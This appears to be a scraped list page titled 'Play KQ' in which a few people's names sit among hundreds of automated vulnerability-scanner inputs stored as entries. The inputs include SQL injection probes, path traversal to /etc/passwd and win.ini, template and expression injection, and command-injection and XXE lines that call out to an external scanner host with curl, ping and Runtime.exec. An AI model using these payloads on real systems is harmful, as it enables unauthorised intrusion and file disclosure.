Play KQ

set|set&set 🤷

-1074�' OR 9281=9281 limit 10# 🤷

-1219 OR 9281=9281-- Fccx 🤷

-1390) UNION ALL SELECT CONCAT(CONCAT('qbzxq','vuDhVWkwbO'),'qqjkq')-- iZpb 🤷

-2070 OR 9281=9281 🤷

-2721 🤷

-3064' OR 9281=9281 AND 'MhAy'='MhAy 🤷

-3119' OR 2945=1257 AND 'TKQG'='TKQG 🤷

-3970') OR 3958=9364 AND ('aOYr'='aOYr 🤷

-5346) OR 9281=9281 AND (8233=8233 🤷

-6108 OR 1262=4265-- MESm 🤷

-6371) UNION ALL SELECT CONCAT(CONCAT('qbzxq','shqCJLlDQafgxGLbjcKxZAieIAHIywiSaBlNJRUc'),'qqjkq')-- IgRF 🤷

-6901) OR 6116=3652 AND (9576=9576 🤷

-7854 OR 7663=3586 🤷

-9318') OR 9281=9281 AND ('qMkm'='qMkm 🤷

-9383�' OR 1189=8383 limit 10# 🤷

;`curl nqiyzk35.dns.9b5501a3.axss.xyz --retry 0`; 🤷

;print(md5(security_test)); 🤷

;set|set&set; 🤷

;system("ping -nc 4 nqiyzk35.dns.9b5501a3.axss.xyz"); 🤷

!(()&&!|*|*| 🤷

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd 🤷

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini 🤷

../../../../../../../../../../../../../../../proc/version 🤷

../../../../../../../../../../boot.ini 🤷

../../../../../../../../../../etc/passwd 🤷

../../../../../../../../../../etc/passwd%00.jpg 🤷

../../../../../../../../../../windows/win.ini 🤷

../../../../../../../../../../windows/win.ini%00.jpg 🤷

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd 🤷

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini 🤷

..\..\..\..\..\..\..\..\windows\win.ini 🤷

..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd 🤷

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg 🤷

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini 🤷

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd 🤷

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd 🤷

';print(md5(security_test));$a=' 🤷

'" 🤷

'set|set&set' 🤷

";print(md5(security_test));$a=" 🤷

"".getClass().forName("java.lang.Runtime").getMethod("exec", "".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "curl http://rndrqt1qdqv.9b5501a3.axss.xyz") 🤷

"set|set&set" 🤷

(SELECT (CASE WHEN (7058=3015) THEN 'aSdFh1' ELSE (SELECT 3015 UNION SELECT 3915) END)) 🤷

(SELECT (CASE WHEN (7794=3859) THEN 'aSdFh1' ELSE (SELECT 3859 UNION SELECT 3033) END)) 🤷

(SELECT (CASE WHEN (9828=9828) THEN 'aSdFh1' ELSE (SELECT 5820 UNION SELECT 3894) END)) 🤷

) 🤷

[] 🤷

{{12*'9999143'}} 🤷

/../..//../..//../..//../..//../..//etc/passwd%00.jpg 🤷

/.././.././.././.././.././.././.././../etc/./passwd%00 🤷

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini 🤷

/\../\../\../\../\../\../\../etc/passwd 🤷

/etc/passwd 🤷

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',7424*9809)} 🤷

%2fetc%2fpasswd 🤷

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini 🤷

`set|set&set` 🤷

^(#$!@#$)(()))****** 🤷

<!-- 🤷

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE body SYSTEM "http://p6f1r5xs.dns.9b5501a3.axss.xyz/"><body><method>test</method></body> 🤷

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "http://p6f1r5xs.dns.9b5501a3.axss.xyz/">%xxe;]> 🤷

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN""http://p6f1r5xs.dns.9b5501a3.axss.xyz/"><roottag>xxe</roottag> 🤷

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [ <!ENTITY xxeent SYSTEM "http://p6f1r5xs.dns.9b5501a3.axss.xyz/">]><xyz>&xxeent;</xyz> 🤷

<%=9999218*9999611%> 🤷

<xi:include href="http://p6f1r5xs.dns.9b5501a3.axss.xyz/" parse="text"/> 🤷

${"~||~".join(["first", "second"])} 🤷

${{<%[%'"}}%\ 🤷

${@print(md5(security_test))} 🤷

${@print(md5(security_test))}\ 🤷

${9999830 + 9999397} 🤷

1some_inexistent_file_with_long_name%00.jpg 🤷

alex 🤷

alexia (new) 🤷

andrew (newer) 🤷

anjail 🤷

aSdFh1 🤷

aSdFh1 AND 1144=7820-- JTQA 🤷

aSdFh1 AND 1424=1424 🤷

aSdFh1 AND 1424=1424-- DZND 🤷

aSdFh1 AND 1682=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(122)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (1682=1682) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) 🤷

aSdFh1 AND 1682=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(122)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (1682=1682) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL)-- VxgH 🤷

aSdFh1 AND 3493=1917-- ySuY 🤷

aSdFh1 AND 4562=9891 🤷

aSdFh1 AND 6733=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (6733=6733) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) 🤷

aSdFh1 AND 6733=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (6733=6733) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC)-- CGGy 🤷

aSdFh1 AND 7241=8462 🤷

aSdFh1 AND 9623 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(122)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (9623=9623) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(107)+CHAR(113))) 🤷

aSdFh1 AND 9623 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(122)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (9623=9623) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(107)+CHAR(113)))-- bTba 🤷

aSdFh1 AND EXTRACTVALUE(9014,CONCAT(0x5c,0x71627a7871,(SELECT (ELT(9014=9014,1))),0x71716a6b71)) 🤷

aSdFh1 AND EXTRACTVALUE(9014,CONCAT(0x5c,0x71627a7871,(SELECT (ELT(9014=9014,1))),0x71716a6b71))-- AjHj 🤷

aSdFh1 HAVING 2416=2682 🤷

aSdFh1 HAVING 3762=6091-- jqnh 🤷

aSdFh1 HAVING 5577=5577 🤷

aSdFh1 HAVING 5577=5577-- TCCY 🤷

aSdFh1 HAVING 7817=2293-- Wzlz 🤷

aSdFh1 HAVING 9758=6834 🤷

aSdFh1 OR NOT 2308=2308 🤷

aSdFh1 OR NOT 2308=2308-- QCCV 🤷

aSdFh1 OR NOT 4363=6297 🤷

aSdFh1 OR NOT 5083=3910 🤷

aSdFh1 OR NOT 5448=2789-- ZUIw 🤷

aSdFh1 OR NOT 8951=6365-- pjrH 🤷

aSdFh1 RLIKE (SELECT (CASE WHEN (1335=1829) THEN 0x615364466831 ELSE 0x28 END))-- yNgR 🤷

aSdFh1 RLIKE (SELECT (CASE WHEN (3708=3708) THEN 0x615364466831 ELSE 0x28 END)) 🤷

aSdFh1 RLIKE (SELECT (CASE WHEN (3708=3708) THEN 0x615364466831 ELSE 0x28 END))-- PSLk 🤷

aSdFh1 RLIKE (SELECT (CASE WHEN (5778=3790) THEN 0x615364466831 ELSE 0x28 END)) 🤷

aSdFh1 RLIKE (SELECT (CASE WHEN (6072=3149) THEN 0x615364466831 ELSE 0x28 END))-- lZlx 🤷

aSdFh1 RLIKE (SELECT (CASE WHEN (7264=6172) THEN 0x615364466831 ELSE 0x28 END)) 🤷

aSdFh1 UNION ALL SELECT NULL-- pCVL 🤷

aSdFh1 UNION ALL SELECT NULL-- rlkM 🤷

aSdFh1 UNION ALL SELECT NULL,NULL-- exlH 🤷

aSdFh1 UNION ALL SELECT NULL,NULL-- UeCH 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL-- cpsb 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL-- kOSJ 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL,NULL-- uLQc 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL,NULL-- wNrB 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- USDx 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- UTxK 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- LEPR 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- VjtN 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- jLvE 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- qNhV 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- EBTW 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- woBn 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- iSCl 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Wsgh 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- mLct 🤷

aSdFh1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- pqcf 🤷

aSdFh1' AND 1424=1424 AND 'mJlG'='mJlG 🤷

aSdFh1' AND 1682=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(122)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (1682=1682) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND 'gLNU'='gLNU 🤷

aSdFh1' AND 3294=8199 AND 'ZrvU'='ZrvU 🤷

aSdFh1' AND 6733=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (6733=6733) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND 'pNbY'='pNbY 🤷

aSdFh1' AND 7305=2914 AND 'TNWY'='TNWY 🤷

aSdFh1' AND 9623 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(122)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (9623=9623) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(107)+CHAR(113))) AND 'nsEd'='nsEd 🤷

aSdFh1' AND EXTRACTVALUE(9014,CONCAT(0x5c,0x71627a7871,(SELECT (ELT(9014=9014,1))),0x71716a6b71)) AND 'jmpG'='jmpG 🤷

aSdFh1' HAVING 2667=3953 AND 'GSvp'='GSvp 🤷

aSdFh1' HAVING 5577=5577 AND 'XgaX'='XgaX 🤷

aSdFh1' HAVING 7948=4975 AND 'rGpc'='rGpc 🤷

aSdFh1' OR NOT 2308=2308 AND 'CVxn'='CVxn 🤷

aSdFh1' OR NOT 7364=2055 AND 'fzfY'='fzfY 🤷

aSdFh1' OR NOT 8802=1373 AND 'oWgd'='oWgd 🤷

aSdFh1' RLIKE (SELECT (CASE WHEN (3708=3708) THEN 0x615364466831 ELSE 0x28 END)) AND 'uiKJ'='uiKJ 🤷

aSdFh1' RLIKE (SELECT (CASE WHEN (8286=5321) THEN 0x615364466831 ELSE 0x28 END)) AND 'nCry'='nCry 🤷

aSdFh1' RLIKE (SELECT (CASE WHEN (9454=2451) THEN 0x615364466831 ELSE 0x28 END)) AND 'dqUw'='dqUw 🤷

aSdFh1' UNION ALL SELECT NULL-- hiGh 🤷

aSdFh1' UNION ALL SELECT NULL,NULL-- qHeO 🤷

aSdFh1' UNION ALL SELECT NULL,NULL,NULL-- KtuA 🤷

aSdFh1' UNION ALL SELECT NULL,NULL,NULL,NULL-- Kmvs 🤷

aSdFh1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- YVhs 🤷

aSdFh1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- WfLa 🤷

aSdFh1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- xAnq 🤷

aSdFh1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- isiH 🤷

aSdFh1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- QoES 🤷

aSdFh1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- VHdU 🤷

aSdFh1') AND 1424=1424 AND ('pmoC'='pmoC 🤷

aSdFh1') AND 1682=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(122)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (1682=1682) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND ('jsyG'='jsyG 🤷

aSdFh1') AND 6434=3317 AND ('FaOh'='FaOh 🤷

aSdFh1') AND 6733=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (6733=6733) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND ('zjNx'='zjNx 🤷

aSdFh1') AND 9049=1262 AND ('HcfQ'='HcfQ 🤷

aSdFh1') AND 9623 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(122)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (9623=9623) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(107)+CHAR(113))) AND ('kWwT'='kWwT 🤷

aSdFh1') AND EXTRACTVALUE(9014,CONCAT(0x5c,0x71627a7871,(SELECT (ELT(9014=9014,1))),0x71716a6b71)) AND ('kiOQ'='kiOQ 🤷

aSdFh1') HAVING 3851=8256 AND ('hVtY'='hVtY 🤷

aSdFh1') HAVING 5577=5577 AND ('tYRc'='tYRc 🤷

aSdFh1') HAVING 5654=5701 AND ('UPKs'='UPKs 🤷

aSdFh1') OR NOT 1446=6596 AND ('HxkO'='HxkO 🤷

aSdFh1') OR NOT 2308=2308 AND ('LTMP'='LTMP 🤷

aSdFh1') OR NOT 4986=7381 AND ('kjRc'='kjRc 🤷

aSdFh1') RLIKE (SELECT (CASE WHEN (3708=3708) THEN 0x615364466831 ELSE 0x28 END)) AND ('SIlt'='SIlt 🤷

aSdFh1') RLIKE (SELECT (CASE WHEN (5935=1522) THEN 0x615364466831 ELSE 0x28 END)) AND ('Luzg'='Luzg 🤷

aSdFh1') RLIKE (SELECT (CASE WHEN (9004=4083) THEN 0x615364466831 ELSE 0x28 END)) AND ('uqZy'='uqZy 🤷

aSdFh1') UNION ALL SELECT NULL-- oGib 🤷

aSdFh1') UNION ALL SELECT NULL,NULL-- cgVW 🤷

aSdFh1') UNION ALL SELECT NULL,NULL,NULL-- rbnJ 🤷

aSdFh1') UNION ALL SELECT NULL,NULL,NULL,NULL-- pjiV 🤷

aSdFh1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- OqaR 🤷

aSdFh1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- FkWP 🤷

aSdFh1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Oane 🤷

aSdFh1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FuHl 🤷

aSdFh1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- fnWO 🤷

aSdFh1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- sNcK 🤷

aSdFh1'bWuUtt<'">lHxdQu 🤷

aSdFh1) AND 1424=1424 AND (8458=8458 🤷

aSdFh1) AND 1682=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(122)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (1682=1682) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND (4937=4937 🤷

aSdFh1) AND 3933=2954 AND (2673=2673 🤷

aSdFh1) AND 6733=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (6733=6733) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND (9533=9533 🤷

aSdFh1) AND 7584=7023 AND (5688=5688 🤷

aSdFh1) AND 9623 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(122)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (9623=9623) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(107)+CHAR(113))) AND (2662=2662 🤷

aSdFh1) AND EXTRACTVALUE(9014,CONCAT(0x5c,0x71627a7871,(SELECT (ELT(9014=9014,1))),0x71716a6b71)) AND (7715=7715 🤷

aSdFh1) HAVING 1064=3584 AND (6039=6039 🤷

aSdFh1) HAVING 5577=5577 AND (2428=2428 🤷

aSdFh1) HAVING 9230=3285 AND (3716=3716 🤷

aSdFh1) OR NOT 2308=2308 AND (5552=5552 🤷

aSdFh1) OR NOT 4185=8812 AND (4265=4265 🤷

aSdFh1) OR NOT 9727=2189 AND (1417=1417 🤷

aSdFh1) ORDER BY 1-- OPKW 🤷

aSdFh1) ORDER BY 10-- fgMf 🤷

aSdFh1) ORDER BY 2-- SoLL 🤷

aSdFh1) ORDER BY 3-- vhBL 🤷

aSdFh1) ORDER BY 4-- uEeD 🤷

aSdFh1) ORDER BY 6-- Hjwg 🤷

aSdFh1) ORDER BY 9484-- DQZL 🤷

aSdFh1) RLIKE (SELECT (CASE WHEN (2476=7188) THEN 0x615364466831 ELSE 0x28 END)) AND (4348=4348 🤷

aSdFh1) RLIKE (SELECT (CASE WHEN (3708=3708) THEN 0x615364466831 ELSE 0x28 END)) AND (5822=5822 🤷

aSdFh1) RLIKE (SELECT (CASE WHEN (5158=8633) THEN 0x615364466831 ELSE 0x28 END)) AND (9440=9440 🤷

aSdFh1) UNION ALL SELECT CONCAT(CONCAT('qbzxq','lFzSMllges'),'qqjkq')-- yhly 🤷

aSdFh1) UNION ALL SELECT CONCAT(CONCAT('qbzxq','XXfywUTkrBdpcMVzQWPVqjMfwRKAILyCCaAgAHEb'),'qqjkq')-- CoTU 🤷

aSdFh1) UNION ALL SELECT NULL-- wfOV 🤷

aSdFh1) UNION ALL SELECT NULL,NULL-- ckAg 🤷

aSdFh1) UNION ALL SELECT NULL,NULL,NULL-- VEqg 🤷

aSdFh1) UNION ALL SELECT NULL,NULL,NULL,NULL-- fmbW 🤷

aSdFh1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- exYj 🤷

aSdFh1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- hyNy 🤷

aSdFh1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- BASo 🤷

aSdFh1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- QSec 🤷

aSdFh1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- OdII 🤷

aSdFh1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- JMxc 🤷

aSdFh1))(."',(,, 🤷

aSdFh1�' AND 1424=1424 limit 10# 🤷

aSdFh1�' AND 1682=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(122)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (1682=1682) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) limit 10# 🤷

aSdFh1�' AND 2824=8553 limit 10# 🤷

aSdFh1�' AND 5628=1675 limit 10# 🤷

aSdFh1�' AND 6733=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (6733=6733) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(113)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) limit 10# 🤷

aSdFh1�' AND 9623 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(122)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (9623=9623) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(107)+CHAR(113))) limit 10# 🤷

aSdFh1�' AND EXTRACTVALUE(9014,CONCAT(0x5c,0x71627a7871,(SELECT (ELT(9014=9014,1))),0x71716a6b71)) limit 10# 🤷

aSdFh1�' HAVING 4260=3349 limit 10# 🤷

aSdFh1�' HAVING 5577=5577 limit 10# 🤷

aSdFh1�' HAVING 9253=5202 limit 10# 🤷

aSdFh1�' OR NOT 2308=2308 limit 10# 🤷

aSdFh1�' OR NOT 6535=4178 limit 10# 🤷

aSdFh1�' OR NOT 8793=6632 limit 10# 🤷

aSdFh1�' RLIKE (SELECT (CASE WHEN (3708=3708) THEN 0x615364466831 ELSE 0x28 END)) limit 10# 🤷

aSdFh1�' RLIKE (SELECT (CASE WHEN (6127=6392) THEN 0x615364466831 ELSE 0x28 END)) limit 10# 🤷

aSdFh1�' RLIKE (SELECT (CASE WHEN (7741=2902) THEN 0x615364466831 ELSE 0x28 END)) limit 10# 🤷

aSdFh1�' UNION ALL SELECT NULL-- LFCS 🤷

aSdFh1�' UNION ALL SELECT NULL,NULL-- uOay 🤷

aSdFh1�' UNION ALL SELECT NULL,NULL,NULL-- TyKG 🤷

aSdFh1�' UNION ALL SELECT NULL,NULL,NULL,NULL-- xYJt 🤷

aSdFh1�' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- OstJ 🤷

aSdFh1�' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- kMTp 🤷

aSdFh1�' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ipyp 🤷

aSdFh1�' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- TmJb 🤷

aSdFh1�' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- tCpl 🤷

aSdFh1�' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- eeHn 🤷

b'12345\'"\\\'\\");|]*%00{%0d%0a<%00>%bf%27\'\xf0\x9f\x92\xa9' 🤷

bri 🤷

chris thomas 🤷

christina 🤷

dan 🤷

file:///c:/windows/win.ini 🤷

file:///etc/passwd 🤷

gary (new) 🤷

hannah 🤷

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg 🤷

Http://testasp.vulnweb.com/t/fit.txt 🤷

http://testasp.vulnweb.com/t/fit.txt%3F.jpg 🤷

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././. 🤷

katie 🤷

kisira 🤷

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n 🤷

lingling (vanilla pref please) 🤷

marshall 🤷

santi 🤷

set|set&set 🤷

spencer 🤷

T(java.lang.Runtime).getRuntime().exec("curl rndrqt1qdqv.9b5501a3.axss.xyz") 🤷

testasp.vulnweb.com 🤷

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.